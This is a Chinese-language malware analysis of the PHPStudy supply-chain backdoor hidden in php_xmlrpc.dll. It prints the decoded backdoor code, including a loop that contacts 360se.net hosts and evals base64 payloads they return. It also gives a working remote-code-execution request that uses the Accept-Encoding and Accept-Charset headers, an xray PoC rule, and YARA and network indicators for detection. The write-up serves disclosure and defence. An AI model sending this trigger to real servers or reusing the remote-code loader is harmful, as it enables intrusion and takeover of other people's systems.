PHPStudy后门事件分析
PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外,还可以正向执行任意php代码。
影响版本
- Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
- Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
分析过程
- 1、定位特征字符串位置
- 2、静态分析传参数据
- 3、动态调试构造传参内容
php_xmlrpc.dll
PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。
定位特征字符串位置
根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0
图1:eval特征代码
静态分析传参数据
通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。
第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。
构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。
GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….
第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。
构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。
GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….
图2:第1部分流程判断代码
图3:第2部分流程判断代码
这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
从1000D028 到1000D66C的代码解密:
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
动态调试构造传参内容
OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。
根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。
图4:OD动态调试Payload
PHP脚本后门分析
脚本一功能:使用fsockopen模拟GET发包
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
脚本二功能:
内置有域名表和端口表,批量遍历然后发送数据。注释如下:
<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); // 接收数据,每次过来一条数据就要连接一次
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5); //错误的时候就重连一次测试。
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n"); // 模拟发送数据
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024); // 读取文件
$info = stream_get_meta_data($handle); // 超时则退出
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp"); // 域名表
$ps = array("20123","40125","8080","80","53"); // 端口表
$n = false;
do {
$n = false;
foreach ($ds as $d){ //遍历域名表
$b = false;
foreach ($ps as $p){ // 遍历端口表
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
?>
POC
熟悉原理后可根据执行流程构造执行任意代码的Payload:
GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Payload:printf(md5(333));
回显特征:310dcbbf4cce62f762a2aaa148d556bd
图5:Payload回显验证
漏洞验证插件
漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。
name: poc-yaml-phpstudy-backdoor-rce
rules:
- method: GET
path: /index.php
headers:
Accept-Encoding: 'gzip,deflate'
Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
follow_redirects: false
expression: |
body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
author: 17bdw
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
vuln_url: "php_xmlrpc.dll"
links:
- https://www.freebuf.com/column/214946.html
网络特征
Accept-Encoding:gzip,deflate 少一个空格
Accept-Charset:为Base64编码
文件特征
特征一、
%s;@eval(%s('%s')); 25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s')); 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B
rule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}
受影响站点
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
参考
- PhpStudyGhost后门供应链攻击事件及相关IOC
https://www.freebuf.com/column/214946.html - 2019关于phpstudy软件后门简单分析
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw - phpstudy后门文件分析以及检测脚本
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw - Phpstudy官网于2016年被入侵,犯罪分子篡改软件并植入后门
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw - phpStudy隐藏后门预警
https://www.cnblogs.com/0daybug/p/11571119.html